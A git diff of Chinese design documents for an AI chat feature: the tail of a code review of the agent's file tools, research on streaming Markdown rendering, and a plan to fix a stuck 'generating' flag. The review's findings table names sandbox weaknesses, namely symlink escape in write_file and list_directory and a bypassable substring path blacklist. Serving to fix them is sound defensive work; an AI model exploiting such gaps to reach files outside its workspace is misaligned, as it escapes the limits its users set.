| P1-2 | write_file `create_dir_all(parent)` 不校验 parent,workspace 内 symlink 父目录可写逃逸 | :457-460 |
|
||||||
|
| P1-3 | read_file 1MB 按**字节** + `read_to_string` 对非 UTF-8/二进制直接失败无降级 | :409, :413 |
|
||||||
|
| P1-4 | read_file offset 无上限校验(超范围静默返空),limit 无硬上限 | :415-419 |
|
||||||
|
| P1-5 | list_directory 噪音目录仍作为 entry 返回(仅不深入),max_depth=2 写死无文档 | :437, :439, :500 |
|
||||||
|
| P1-6 | list_directory `DirEntry::metadata()` **跟随 symlink**,symlink 目录被当普通目录递归(信息泄露 + 与 P1-2/FR-S8 形成逃逸组合拳) | :491-492 |
|
||||||
|
| P1-7 | `validate_path` 黑名单**子串匹配**:易误伤(`appdata-collector` 项目)易绕过(漏 `.config`/`.kube`/Program Files),冗余弱层 | :22-29 |
|
||||||
|
|
||||||
|
### P2 — 次要
|
||||||
|
|
||||||
|
list_directory 子目录无权限读整层 bail(:484)/ read_file 错误回显完整绝对路径泄露(:406)/ write_file bytes_written 字节非字符易误导(:463)/ max_entries off-by-one(:486)/ to_str 非 UTF-8 路径笼统报错(:401)/ 未实现工具缺口(edit/delete/rename/move/search/append 迫使滥用 write_file)。
|
||||||
|
|
||||||
|
### 总结
|
||||||
|
|
||||||
|
框架方向正确(schema+risk+handler 同源、双层校验、FR-S2 TOCTOU+1MB 已修),但 **sandbox 实现层有系统性缺口**:子串黑名单(弱)+ 词法 starts_with(Windows 大小写坑)+ canonicalize 只覆盖存在路径(新建漏)。优先级:**FR-S8 统一 canonicalize > P1-6/P1-2 symlink 不跟随 > FR-S7 原子写+升审批**。
|
||||||
|
|
||||||
|
关联 todo:FR-S7(覆盖保护)、FR-S8(sandbox 逃逸)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 附:相关 memory(指针)
|
## 附:相关 memory(指针)
|
||||||
- `devflow-aichat-review-pending.md`
|
- `devflow-aichat-review-pending.md`
|
||||||
- `devflow-idea-inspiration-migration.md`
|
- `devflow-idea-inspiration-migration.md`
|
||||||
|
|||||||
@@ -61,4 +61,4 @@
|
|||||||
|
|
||||||
- 触及 [[aichat-arch-extensibility]] 记录的 AiSession 单例瓶颈。
|
- 触及 [[aichat-arch-extensibility]] 记录的 AiSession 单例瓶颈。
|
||||||
- 与 [[aichat-roadmap-ab-split]] B 路线(补决策/并发能力)相关。
|
- 与 [[aichat-roadmap-ab-split]] B 路线(补决策/并发能力)相关。
|
||||||
- 当前同步审批的其他问题(审批态 stop 卡死、新建对话破坏 session)见 `aichat-review-2026-06-14.md` H2/H3,异步化时一并解决。
|
- 当前同步审批的其他问题(审批态 stop 卡死、新建对话破坏 session)见 `aichat审查报告-2026-06-14.md` H2/H3,异步化时一并解决。
|
||||||
|
|||||||
146
docs/02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md
Normal file
146
docs/02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
# AI Chat 流式 Markdown 渲染调研(2026-06-15)
|
||||||
|
|
||||||
|
> 范围:`AiChat.vue` 流式渲染优化。当前 AR-1 修复(commit f58743e)用「流式纯文本短路」防掉帧,副作用是流式过程无格式。本调研找不掉帧且有格式的更好方案。
|
||||||
|
> 方法:3 路并行调研(机制方案 / 现成库 / Vue3 落地)+ 主代理整合。
|
||||||
|
> 性质:调研 + 方案,**未实施**。
|
||||||
|
> 关联:[aichat审查报告-2026-06-14.md](aichat审查报告-2026-06-14.md) AR-1;[近期改动代码审查-2026-06-15.md](../05-代码审查/近期改动代码审查-2026-06-15.md) §亮点「renderMd 流式纯文本短路」。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §1 问题根因
|
||||||
|
|
||||||
|
现状(`src/components/AiChat.vue:200,347`):
|
||||||
|
|
||||||
|
```vue
|
||||||
|
<div v-html="renderMd(text, isLastAi(msg) && store.state.streaming)"></div>
|
||||||
|
```
|
||||||
|
```js
|
||||||
|
function renderMd(text, isStreaming=false){
|
||||||
|
if (isStreaming || !mdReady) return escapeHtml(text) // 流式纯文本短路
|
||||||
|
return _purify.sanitize(_marked.parse(text))
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
掉帧两因素叠加:
|
||||||
|
- **(A) 解析成本**:每个 delta 全量 `marked.parse()` O(N),N 随回复增长,后期单帧解析几十 ms。
|
||||||
|
- **(B) 重渲染成本**:`v-html` 整段替换触发子树重布局。
|
||||||
|
|
||||||
|
当前方案牺牲「流式格式」躲掉 (A)(B),但 delta 20-80ms 一个,流式时用户看到裸 markdown 源码(`#`、`-`、```` ``` ```` 符号),结束才出格式。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §2 五大机制对比
|
||||||
|
|
||||||
|
| 机制 | 消除瓶颈 | 流式有格式 | 成本 | 适用 | 独立够吗 |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| 1. rAF 批量节流 | 中(砍频率) | 是 | 低 | 全部 | 否(长文本单次仍重) |
|
||||||
|
| 2. 块级 diff + memo | **高**(砍到 O(末块)) | 是 | 低-中 | 全部 | **基本够(主流首选)** |
|
||||||
|
| 3. Web Worker 解析 | 高(主线程归零) | 是 | 中 | 超长文档/重 sanitize | 通常与 2 叠加 |
|
||||||
|
| 4a. 代码块延迟高亮 | 高(代码块零成本) | 代码块流式无色 | 低 | 有代码块 | 仅代码块,需叠加 |
|
||||||
|
| 4b. shiki-stream 增量高亮 | 高 | 代码块流式有色 | 中 | 有代码块 | 仅代码块 |
|
||||||
|
| 5. 虚拟滚动 | 中(砍 DOM 不砍 parse) | 是 | 中 | 长会话消息列表 | 否 |
|
||||||
|
|
||||||
|
**机制 2(块级 diff + memo)是业界主流首选**——Vercel AI SDK 官方 cookbook 做法。原理:`marked.lexer()` 按双换行/代码围栏切块,每块独立 memoize,只有「正在生长的末块」重 parse,已完成块缓存跳过。解析成本从 O(全文) 降到 O(末块)。
|
||||||
|
|
||||||
|
**大厂可见行为**:ChatGPT / Claude / Gemini 流式时均有格式,代码块流式时等宽 + 基本着色。Chrome 官方文档明确反对「整篇重 parse + innerHTML 替换」(正是当前实现),推荐 streaming-markdown 增量 append。
|
||||||
|
|
||||||
|
**rAF 实测数据**(Sitepoint,React 18.3 生产构建 M2):朴素逐 token setState 平均 commit 18ms(80 token/s 达 52ms 可见卡顿),rAF 批量后 3-5ms。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §3 现成库评估
|
||||||
|
|
||||||
|
| 库 | Vue3 兼容 | 流式 | 安全 | 维护 | 结论 |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| **markstream-vue** | ✅ 原生组件 | ✅ 双模式(虚拟窗口 + 增量批处理) | ✅ 内置 safe HTML | ✅ 2.2k star / open issue 2 / 近乎日更 / 尤雨溪背书 / 1.0 稳定 | **首选** |
|
||||||
|
| streamdown (Vercel) | ❌ React 绑定 + 强绑 Tailwind/shadcn | ✅ | ✅ rehype-harden | ✅ | 仅参考(issue #19 求 Vue 版未解决) |
|
||||||
|
| streaming-markdown | ⚠️ callback 驱动需自己接线 | ✅ token 级 | ❌ 需自配 | 功能不全 | 参考 |
|
||||||
|
| marked(当前用) | ✅ | ❌ 无官方流式 API | ❌ 需自配 DOMPurify | ✅ 36.9k star | 不直用做流式层 |
|
||||||
|
| markdown-it | ✅ | ❌ 无原生流式 | - | ✅ | 同上 |
|
||||||
|
| antfu/shiki-stream | ✅ 组件 | ✅ 增量高亮 | - | ✅ 511 star | 代码块高亮专库 |
|
||||||
|
|
||||||
|
**核心结论**:有 Vue3 原生可直接用的流式 markdown 库 **markstream-vue**(尤雨溪推荐),命中全部诉求——流式有格式、不掉帧、TS-first、内置 sanitize、`final` prop 解未闭合 token 卡死。内部已含 marked + Shiki + sanitize 组合,等于替你造好轮子。
|
||||||
|
|
||||||
|
**降级路径**:若样式侵入太重,只用其解析内核 `stream-markdown-parser`(框架无关纯函数)+ 现有 DOMPurify 自控渲染。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §4 落地方案(递进)
|
||||||
|
|
||||||
|
### 方案 A:rAF 节流渲染(最小改动)
|
||||||
|
流式时 `requestAnimationFrame` 每帧最多 parse 一次(封顶 60fps),`v-html` 绑响应式 `streamingHtml`。流式结束取消 rAF + 强制最终渲染落 mdCache。
|
||||||
|
|
||||||
|
- 性能:频率从「每 delta」降到「每帧」,主线程有空隙让浏览器 paint。
|
||||||
|
- 观感:流式全程有格式;**瑕疵**:未闭合代码块(末尾 ```)会闪烁。
|
||||||
|
- 成本:低(~60 行)。
|
||||||
|
- 风险:超长回答(>20k 字)每帧 parse 全文仍偏重。
|
||||||
|
|
||||||
|
```js
|
||||||
|
const streamingHtml = ref('')
|
||||||
|
let rafId = null, lastStreamText = ''
|
||||||
|
function scheduleStreamParse(text){
|
||||||
|
if (rafId !== null) return
|
||||||
|
rafId = requestAnimationFrame(()=>{
|
||||||
|
rafId = null
|
||||||
|
if (text === lastStreamText) return
|
||||||
|
lastStreamText = text
|
||||||
|
streamingHtml.value = _purify.sanitize(_marked.parse(text))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
watch(()=>store.state.streaming,(s,old)=>{
|
||||||
|
if(old && !s){ if(rafId) cancelAnimationFrame(rafId); rafId=null; lastStreamText=''; streamingHtml.value='' }
|
||||||
|
})
|
||||||
|
onBeforeUnmount(()=>{ if(rafId) cancelAnimationFrame(rafId) })
|
||||||
|
```
|
||||||
|
|
||||||
|
### 方案 B:方案 A + 代码块流式降级(体验最佳,推荐起步)
|
||||||
|
在 A 基础上,流式期把 fenced code 块正则抠出降级为纯文本(`<pre class="md-code-streaming">`),其余正常 marked。流式结束一次完整 marked 替换。
|
||||||
|
|
||||||
|
- 消掉方案 A 的「未闭合代码块闪烁」瑕疵——AI 回答大量含代码块,高频可见。
|
||||||
|
- 成本:中(~100 行 + CSS)。
|
||||||
|
- **推荐起步方案**(A→B 平滑叠加,B 只替换 `doStreamParse` 一个函数,不返工)。
|
||||||
|
|
||||||
|
### 方案 C:Web Worker(彻底解耦)
|
||||||
|
marked+sanitize 移 Worker,主线程零 parse。Worker 内 DOMPurify 需 jsdom shim(或换 `sanitize-html` 免 DOM)。
|
||||||
|
|
||||||
|
- 成本:高(~150 行 + worker 文件 + jsdom)。
|
||||||
|
- 适用:极端长回答/多会话。方案 B 不够再上。
|
||||||
|
|
||||||
|
### 方案 D(换库):直上 markstream-vue
|
||||||
|
用 `<MarkdownRender :content :final />` 替换整个 renderMd 手写层。
|
||||||
|
|
||||||
|
- 成本:中(库接入 + 样式对接)。
|
||||||
|
- 收益:省自造轮子,拿到虚拟窗口 + 增量高亮 + 未闭合处理全套。
|
||||||
|
- 风险:样式侵入、新依赖、迁移工作量需评估。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## §5 推荐结论
|
||||||
|
|
||||||
|
**两条路,按风险偏好二选一**:
|
||||||
|
|
||||||
|
| 路线 | 方案 | 收益 | 风险 | 工作量 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| **保守(自研改造)** | 方案 B(rAF 节流 + 代码块降级) | 流式全程有格式、不掉帧、消代码块闪烁、无新依赖 | 超长回答边界需观察 | 中(~100 行 + CSS) |
|
||||||
|
| **激进(换库)** | 方案 D(markstream-vue) | 同上 + 虚拟窗口 + 增量高亮 + 长期省维护 | 新依赖、样式侵入、迁移成本 | 中-高 |
|
||||||
|
|
||||||
|
**渐进建议**:先上方案 B 跑通(验证 rAF 节流 + 代码块降级在当前 delta 频率下不掉帧)→ 观察长回答边界 → 若需更强能力(虚拟窗口/增量高亮)再评估换 markstream-vue。
|
||||||
|
|
||||||
|
**当前 AR-1 临时方案(流式纯文本短路)由方案 D 替换后退役**——纯增量收益,流式全程有格式。
|
||||||
|
|
||||||
|
> **决策(2026-06-15):选方案 D**(换 markstream-vue)。理由:自研块级 memo 与 D 复杂度接近,D 白送 shiki 代码高亮 + 虚拟窗口 + 未闭合 token 修复器,自研只在「坚决不引新依赖」时才划算。落地 todo:ARC-260615-08。
|
||||||
|
>
|
||||||
|
> **决策转向(2026-06-15,同日复盘):方案 D 试装后弃用,改自研块级 memo(方案 B 增强版)**。复盘:markstream-vue@1.0.1 接入 + vue-tsc 通过无技术障碍,但「样式 100% 还原现有 .ai-md」成本高且脆——markstream DOM 异构于 marked 输出(代码块 `.code-block-container` chrome 结构 / 暗色 `--ms-*` 变量体系依赖 `.dark` class 而 DevFlow 用 `[data-theme]` / prose 作用域 `.markstream-vue`),4 处对接且随 markstream 升级易漂移。用户优先级是「保留原样式」>「虚拟窗口/shiki 高级能力」,转自研块级 memo:marked 输出标准 HTML → .ai-md 样式零对接,借鉴 §2 机制 2(块级 memo,业界主流)实现 splitBlocks(代码围栏整体一块/非代码双换行切)+ 前块缓存命中 O(末块) + 末块不缓存处理未闭合 token + rAF 节流。结论:**自研块级 memo = 方案 B 增强(rAF + 真块级 memo,非仅代码块降级),零新依赖、零样式对接、D 级流式性能**。§5 原决策表「自研只在坚决不引新依赖时才划算」判断在「不要高级能力、要原样式」前提下反转——此时自研反而最优。落地:ARC-260615-08 自研版已实施,vue-tsc exit 0,待 dev 运行时验证。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 来源
|
||||||
|
|
||||||
|
- [Best practices to render streamed LLM responses — Chrome for Developers](https://developer.chrome.com/docs/ai/render-llm-responses)(streaming-markdown 增量 append、Paint flashing 验证)
|
||||||
|
- [Markdown Chatbot with Memoization — Vercel AI SDK Cookbook](https://ai-sdk.dev/cookbook/next/markdown-chatbot-with-memoization)(块级 diff + memo 官方实现)
|
||||||
|
- [Streaming Backends & React: Controlling the Re-render Chaos — Sitepoint](https://www.sitepoint.com/streaming-backends-react-controlling-re-render-chaos/)(rAF 实测数据)
|
||||||
|
- [antfu/shiki-stream — GitHub](https://github.com/antfu/shiki-stream)
|
||||||
|
- [markstream-vue — GitHub](https://github.com/Simon-He95/markstream-vue)
|
||||||
|
- [vercel/streamdown — GitHub](https://github.com/vercel/streamdown)
|
||||||
|
- [HuggingFace chat-ui: webworker for markdown parsing #1733](https://huggingface.co/spaces/jdelavande/chat-ui-energy/commit/7d6fc19984864d960f2875391858ea067b030dc6)
|
||||||
|
- [shikijs/shiki Discussion #891](https://github.com/shikijs/shiki/discussions/891)(GrammarState 流式高亮底层)
|
||||||
284
docs/02-架构设计/generating状态机加固-2026-06-15.md
Normal file
284
docs/02-架构设计/generating状态机加固-2026-06-15.md
Normal file
@@ -0,0 +1,284 @@
|
|||||||
|
# AI 生成状态机加固(generating 生命周期)
|
||||||
|
|
||||||
|
> 创建: 2026-06-15 | 来源: /review generating 状态机专项审查 | 关联 bug: 用户报障"创建不了新对话"
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 背景
|
||||||
|
|
||||||
|
用户报障:AI 面板"创建不了新对话了",前端报 `生成中无法新建对话,请先停止或等待完成`,但前端实际无内容生成。
|
||||||
|
|
||||||
|
排查定位:后端 `AiSession.generating` 标志卡在 `true`,与实际无生成状态不符。`ai_conversation_create`(commands.rs:451)硬拦 `generating=true` → 死锁,用户永远新建不了对话,只能重启 app。
|
||||||
|
|
||||||
|
`/review` 对 generating 状态机(commands.rs 对话/审批/stop + agentic.rs loop/try_continue + stream_recv.rs stream_llm + mod.rs AiSession)做专项审查,产出本文档。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 现状:三标志组合表达隐式状态机
|
||||||
|
|
||||||
|
### 2.1 状态标志
|
||||||
|
|
||||||
|
| 标志 | 类型 | 位置 | 作用 |
|
||||||
|
|------|------|------|------|
|
||||||
|
| `generating` | `bool` | `Mutex<AiSession>` 内 | 是否有 agentic loop 活跃 |
|
||||||
|
| `pending_approvals` | `HashMap` | `Mutex<AiSession>` 内 | 待审批工具调用 |
|
||||||
|
| `stop_flag` | `Arc<AtomicBool>` | 跨锁共享 | ai_chat_stop 置位,loop/stream 读取 |
|
||||||
|
|
||||||
|
### 2.2 隐式表达的 4 态
|
||||||
|
|
||||||
|
| 状态 | 标志组合 | 语义 |
|
||||||
|
|------|---------|------|
|
||||||
|
| **Idle** | `generating=false` | 空闲,可接新请求 |
|
||||||
|
| **Streaming** | `generating=true && pending=空` | agentic loop 流式生成中 |
|
||||||
|
| **AwaitingApproval** | `generating=true && pending非空` | loop 暂停等用户审批 |
|
||||||
|
| **Stopping** | `stop_flag=true`(瞬态) | 用户点了停止,loop 检查点退出中 |
|
||||||
|
|
||||||
|
### 2.3 两个散布问题(根因)
|
||||||
|
|
||||||
|
**写侧散布(复位)**:`generating=false` 手动散落在 6 个 return 点(agentic.rs:53/94/144/190/264/318)。任一新增 return 漏写、或 spawn task panic/abort → 所有复位点跳过 → `generating` 永久 true。
|
||||||
|
|
||||||
|
**读侧散布(判别)**:状态判别靠标志组合反推:
|
||||||
|
- `try_continue`(agentic.rs:283):`should_continue = generating && !pending`
|
||||||
|
- `ai_chat_stop`(commands.rs:250):`pending非空` 分流流式/审批态
|
||||||
|
- `ai_conversation_create`(commands.rs:451):`generating` 硬拦
|
||||||
|
|
||||||
|
判别逻辑散落三处,无单一真相源,新增分支易漏。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 状态机决策:轻量状态机,不引入框架
|
||||||
|
|
||||||
|
### 3.1 决策结论
|
||||||
|
|
||||||
|
**不引入独立状态机框架**(enum 字段替换 bool + 转换守卫 + codegen 库)。采用**轻量状态机**:
|
||||||
|
|
||||||
|
- **写侧收敛** = RAII guard(Drop 兜底复位),对应审查项 ①
|
||||||
|
- **读侧收敛** = `session.state()` enum 视图方法(只读,不改字段),对应审查项 ⑤
|
||||||
|
- **stop_flag 保留** `Arc<AtomicBool>`(跨锁信号,状态机管不了)
|
||||||
|
|
||||||
|
### 3.2 多角度论证
|
||||||
|
|
||||||
|
| 角度 | 独立状态机框架 | 轻量方案(guard+视图) | 判 |
|
||||||
|
|------|--------------|-------------------|-----|
|
||||||
|
| **状态复杂度** | 4 态 6 边转换,简单 | 同 | 不足以 justify 框架 |
|
||||||
|
| **stop_flag 约束** | enum 不能跨锁,stop_flag 仍须 AtomicBool 独存 | stop_flag 保留,enum 只读视图 | 框架无法替代跨锁信号 |
|
||||||
|
| **根因对症** | 复位散布=写侧 / 判别散布=读侧 | guard 治写 + 视图治读,**精准对症** | 轻量直达根因 |
|
||||||
|
| **风格契合** | enum 字段+转换函数+非法检测=过度封装 | 增量加 guard+方法,做减法 | 轻量契合"可读性>抽象性" |
|
||||||
|
| **迁移成本** | 改 AiSession 字段+所有读写点+测试,大改 | 增量,①⑤已在审查清单 | 轻量零额外工作 |
|
||||||
|
|
||||||
|
### 3.3 关键洞察
|
||||||
|
|
||||||
|
① RAII guard(写收敛)+ ⑤ enum 视图(读收敛)= 状态机读写两端都收敛,**功能上等价于状态机,但不引入 enum 字段/转换守卫/框架**。这是务实路线,符合作减法风格。
|
||||||
|
|
||||||
|
`stop_flag` 是跨锁信号(ai_chat_stop 在 IPC 线程置位,loop/stream 在 agentic task 读),必须保持 `Arc<AtomicBool>` 独立——这是状态机 enum 字段(锁内)无法替代的并发要求。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 改造设计
|
||||||
|
|
||||||
|
### 4.1 ① RAII guard — 写侧收敛(P0 根治)
|
||||||
|
|
||||||
|
新增 guard struct,`run_agentic_loop` 入口创建,函数退出(含 panic/abort/正常 return)时 Drop 兜底复位。
|
||||||
|
|
||||||
|
```rust
|
||||||
|
struct GeneratingGuard {
|
||||||
|
session: Arc<Mutex<AiSession>>,
|
||||||
|
app: AppHandle,
|
||||||
|
conv_id: String,
|
||||||
|
}
|
||||||
|
impl Drop for GeneratingGuard {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
let app = self.app.clone();
|
||||||
|
let conv_id = self.conv_id.clone();
|
||||||
|
let session = self.session.clone();
|
||||||
|
tauri::async_runtime::spawn(async move {
|
||||||
|
let mut s = session.lock().await;
|
||||||
|
if s.generating { // 仅在仍 true 时复位(避免重复 emit)
|
||||||
|
s.generating = false;
|
||||||
|
drop(s);
|
||||||
|
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted {
|
||||||
|
total_tokens: 0, prompt_tokens: 0, completion_tokens: 0,
|
||||||
|
conversation_id: Some(conv_id),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`run_agentic_loop` 入口:`let _guard = GeneratingGuard { ... };`,函数内所有手动 `session.generating = false` 删除。
|
||||||
|
|
||||||
|
**注意**:Drop 是同步的不能再 `.await`,故 spawn 异步复位。存在极小窗口 generating 仍 true,由 ② 软复位兜底。
|
||||||
|
|
||||||
|
### 4.2 ⑤ session.state() 视图 — 读侧收敛(P1)
|
||||||
|
|
||||||
|
只读视图方法,不改 AiSession 字段,收敛三标志组合判别:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
enum SessionState { Idle, Streaming, AwaitingApproval }
|
||||||
|
impl AiSession {
|
||||||
|
fn state(&self) -> SessionState {
|
||||||
|
if !self.generating { return SessionState::Idle; }
|
||||||
|
if self.pending_approvals.is_empty() { SessionState::Streaming }
|
||||||
|
else { SessionState::AwaitingApproval }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
改造判别点:
|
||||||
|
- `try_continue`:`should_continue = matches!(session.state(), SessionState::Streaming)`
|
||||||
|
- `ai_chat_stop`:分流用 `matches!(session.state(), SessionState::AwaitingApproval)`
|
||||||
|
- `ai_conversation_create`:见 4.3
|
||||||
|
|
||||||
|
### 4.3 ② newConversation 软复位 — 死锁解除(P0)
|
||||||
|
|
||||||
|
`ai_conversation_create`(commands.rs:451)硬拦改软复位。`generating=true` 时强制复位(等同 `ai_chat_stop` 审批态分支 commands.rs:252)再新建:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
if session.generating {
|
||||||
|
session.generating = false;
|
||||||
|
session.pending_approvals.clear();
|
||||||
|
session.stop_flag.store(true, Ordering::SeqCst);
|
||||||
|
let conv_id = session.active_conversation_id.clone();
|
||||||
|
drop(session);
|
||||||
|
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted { ... conversation_id: conv_id });
|
||||||
|
session = state.ai_session.lock().await;
|
||||||
|
}
|
||||||
|
session.active_conversation_id = Some(id.clone());
|
||||||
|
// ...
|
||||||
|
```
|
||||||
|
|
||||||
|
**含 ④ 策略统一**:软复位后 newConversation 与 switchConversation:518(readonly 放行)形成一致心智——「新建=放弃当前生成 / 切换=只读接管」。
|
||||||
|
|
||||||
|
需加 `app: AppHandle` 参数(tauri 注入,前端无感)。
|
||||||
|
|
||||||
|
### 4.4 ③ loop 对话一致性校验 — 竞态防护(P0)
|
||||||
|
|
||||||
|
② 软复位后旧 loop 退出时 `session.messages.push(旧 assistant)`(agentic.rs:171/173)污染新对话。loop 每次 push 前校验:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
if session.active_conversation_id.as_deref() != Some(&conv_id) {
|
||||||
|
return; // 对话已切走,丢弃本轮,不 push(guard ① 兜底复位)
|
||||||
|
}
|
||||||
|
if has_tool_calls { /* push */ }
|
||||||
|
```
|
||||||
|
|
||||||
|
同样校验建议加在 `save_conversation` 调用前(agentic.rs:90/186/212/254),防旧 loop 写库污染。
|
||||||
|
|
||||||
|
### 4.5 ⑥ stop 流式态兜底 — 治 loop 已死(P1)
|
||||||
|
|
||||||
|
`ai_chat_stop`(commands.rs:261)流式态分支仅置 stop_flag,依赖 loop 自复位。若 loop 已 panic/abort,stop_flag 无人读,generating 永不复位。复用 ② 抽出的复位 helper 兜底。
|
||||||
|
|
||||||
|
### 4.6 ⑦ stop_notify 即时打断(P1,可选)
|
||||||
|
|
||||||
|
`stop_flag`(AtomicBool)无 async 通知能力,靠 30s 心跳 tick 间接唤醒 select!。换 `tokio::sync::Notify` 即时打断。`stop_flag` 保留作循环顶快检(冗余双保险)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 状态转换图
|
||||||
|
|
||||||
|
```
|
||||||
|
ai_chat_send
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌─────────────────┐
|
||||||
|
│ Streaming │◄────────────────┐
|
||||||
|
│ generating=true │ │
|
||||||
|
│ pending=空 │ │
|
||||||
|
└────────┬────────┘ │
|
||||||
|
│ │
|
||||||
|
┌──────────┼──────────┐ │
|
||||||
|
│ │ │ │
|
||||||
|
有待审批 无工具调用 stop_flag ai_approve
|
||||||
|
│ (收敛) (用户停) (处理完)
|
||||||
|
▼ │ │ │
|
||||||
|
┌──────────────┐ │ ▼ │
|
||||||
|
│AwaitingApproval│ │ ┌─────────┐ │
|
||||||
|
│ generating=true │ │ │ Stopping│ │
|
||||||
|
│ pending非空 │ │ │stop=true│ │
|
||||||
|
└──────┬───────┘ │ └────┬────┘ │
|
||||||
|
│ │ │ │
|
||||||
|
ai_approve │ loop 检查点 │
|
||||||
|
(处理完) │ 退出+复位 │
|
||||||
|
│ │ │ │
|
||||||
|
└───────────┼──────────┼───────────────┘
|
||||||
|
▼ ▼
|
||||||
|
┌────────────────────┐
|
||||||
|
│ Idle │
|
||||||
|
│ generating=false │
|
||||||
|
└────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
**复位保障**:所有退出路径(实线)由 ① guard 的 Drop 兜底;异常路径(panic/abort,虚线)同样由 Drop 覆盖。② 软复位作为 newConversation 入口的二级防线。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 实施计划
|
||||||
|
|
||||||
|
### P0(用户 bug 根治组合,必须同批)
|
||||||
|
|
||||||
|
| # | 项 | 文件 | 依赖 |
|
||||||
|
|---|---|------|------|
|
||||||
|
| B-260615-09 | ① RAII guard 收尾 | agentic.rs | 无(上游) |
|
||||||
|
| B-260615-10 | ② newConversation 软复位(含④策略统一)| commands.rs:451 | 必须配 B-11 |
|
||||||
|
| B-260615-11 | ③ loop 对话一致性校验 | agentic.rs:158 | B-10 配套 |
|
||||||
|
|
||||||
|
**依赖关系**:
|
||||||
|
- ②③ 强耦合(②放开 newConversation 触发③的竞态,单独做②会引入数据污染)→ **捆绑实施**
|
||||||
|
- ① 是②③的上游根治(①修了仍需②③,因 panic 兜底不可能 100% 覆盖 OS 级 abort)→ **三者同批**
|
||||||
|
|
||||||
|
### P1
|
||||||
|
|
||||||
|
| # | 项 | 文件 |
|
||||||
|
|---|---|------|
|
||||||
|
| B-260615-12 | ⑤ session.state() enum 视图(轻量状态机读侧)| mod.rs:97 |
|
||||||
|
| B-260615-13 | ⑥ stop 流式态兜底(复用②复位 helper)| commands.rs:261 |
|
||||||
|
| B-260615-14 | ⑦ stop_flag 换 Notify 即时打断 | stream_recv.rs:148 |
|
||||||
|
|
||||||
|
### P2
|
||||||
|
|
||||||
|
| # | 项 | 文件 |
|
||||||
|
|---|---|------|
|
||||||
|
| B-260615-15 | ⑧ heartbeat interval 提到 loop 外 | stream_recv.rs:138 |
|
||||||
|
| B-260615-16 | ⑨ MAX_AGENT_ITERATIONS 配置化 | agentic.rs:28 |
|
||||||
|
| B-260615-17 | ⑩ key_len 复用 build_provider_for 结果(FR-S1 相关)| agentic.rs:67 |
|
||||||
|
| B-260615-18 | ⑪ pending_approvals 单例+conv_id 路由加注释 | mod.rs:107 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 验证
|
||||||
|
|
||||||
|
### P0 验证(用户 bug 复现 + 根治)
|
||||||
|
|
||||||
|
1. **卡死复现**:构造 panic 场景(如临时在 run_agentic_loop 内 panic)→ 验证 generating 卡 true → newConversation 被拦
|
||||||
|
2. **① guard 兜底**:同上 panic 场景 → guard Drop 复位 generating → newConversation 正常
|
||||||
|
3. **② 软复位**:手动置 generating=true(模拟卡死)→ newConversation 强制复位成功新建
|
||||||
|
4. **③ 一致性**:② 软复位后旧 loop 退出 → 验证不 push 到新对话 messages
|
||||||
|
|
||||||
|
### 回归
|
||||||
|
|
||||||
|
- 正常收敛(无工具调用)→ break → guard 复位 ✅
|
||||||
|
- 审批等待 → pending 非空 → guard 不复位(设计)→ ai_approve → try_continue 续 ✅
|
||||||
|
- stop 流式态 → stop_flag → loop 退出 → guard 复位 ✅
|
||||||
|
- stop 审批态 → 直接清 pending + 复位 ✅
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 取舍 / 未做
|
||||||
|
|
||||||
|
| 项 | 决策 | 理由 |
|
||||||
|
|----|------|------|
|
||||||
|
| 独立状态机框架 | **不做** | 过度封装,轻量方案(guard+视图)功能等价 |
|
||||||
|
| enum 字段替换 bool | **不做** | 改字段+所有读写点,大改;视图方法够用 |
|
||||||
|
| stop_flag 转 enum | **不做** | 跨锁信号必须 AtomicBool,enum 锁内无法替代 |
|
||||||
|
| panic 100% 兜底 | **不可能** | OS 级 abort(OOM kill)guard 抓不到,②软复位兜底 |
|
||||||
|
| 命令黑名单/资源限制 | **不做**(run_command 安全边界)| 属 B/C/D 方案领域,A 方案靠人审 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 相关文档
|
||||||
|
|
||||||
|
- [df-ai AI 集成模块](../03-模块文档/df-ai-AI集成模块-2026-06-12.md)
|
||||||
|
- [aichat 审查报告-2026-06-14](./aichat审查报告-2026-06-14.md)
|
||||||
|
- [流式 Markdown 渲染调研-2026-06-15](./aichat流式Markdown渲染调研-2026-06-15.md)
|
||||||
344
